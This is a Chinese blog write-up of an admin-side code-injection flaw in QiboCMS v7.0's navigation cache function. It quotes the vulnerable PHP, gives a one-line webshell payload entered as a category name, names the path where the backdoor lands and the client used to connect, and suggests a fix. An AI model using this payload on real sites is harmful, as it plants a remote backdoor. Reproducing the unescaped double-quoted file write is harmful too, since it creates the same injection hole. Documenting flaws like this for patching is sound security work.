首页 web安全 正文
  • 本文约242字,阅读需1分钟
  • 3046
  • 1

齐博cmsv7.0后台getshell

0x01 漏洞分析
此漏洞比较鸡肋,需要后台权限。漏洞原理很简单,这里就简单分析一下。
漏洞出现在:inc/class.inc.php中的GuideFidCache函数里

    /*导航条缓存*/
    function GuideFidCache($table,$filename="guide_fid.php",$TruePath=0){
        global $db,$webdb,$pre;
        if($table=="{$pre}sort"&&$webdb[sortNUM]>500){
            return ;
        }
        $show="<?php \r\n";
        //$showindex="<a href='javascript:guide_link(0);' class='guide_menu'>>首页</a>";
        $showindex="<a href='\$webdb[www_url]' class='guide_menu'>>首页</a>";
        $query=$db->query("SELECT fid,name FROM $table ");
        // 带双引号写入变量,并且未过滤。
        while( @extract($db->fetch_array($query)) ){
            $show.="\$GuideFid[$fid]=\"$showindex".$this->SortFather($table,$fid)."\";\r\n";
        }
        $show.=$shows.'?>';
        if($TruePath==1){
            write_file($filename,$show);
        }else{
            write_file(ROOT_PATH."data/$filename",$show);
        }
    }


这个函数主要是将导航条信息写入缓存文件guide_fid.php文件中,但是写入变量使用双引号,因此可以直接构造变量远程执行代码,比如${phpinfo()}。
写入文件成功后,就可以直接访问该文件即可。
0x02 漏洞利用
漏洞利用更为简单,登陆后台增加栏目为${assert($_POST[a])},后门直接写入/data/guide_fid.php文件中,菜刀连之即可。

1643389716.png1470748494.png
0x03 修复建议
$show变量拼接时使用单引号。

温馨提示:本文最后更新于2018年11月8日 15:44,若内容或图片失效,请在下方留言或联系博主。
评论
博主关闭了评论
$comment['poster']
admin
0
223.10.219.12 Unknown BrowserOther
[F1]
2018-11-08 15:49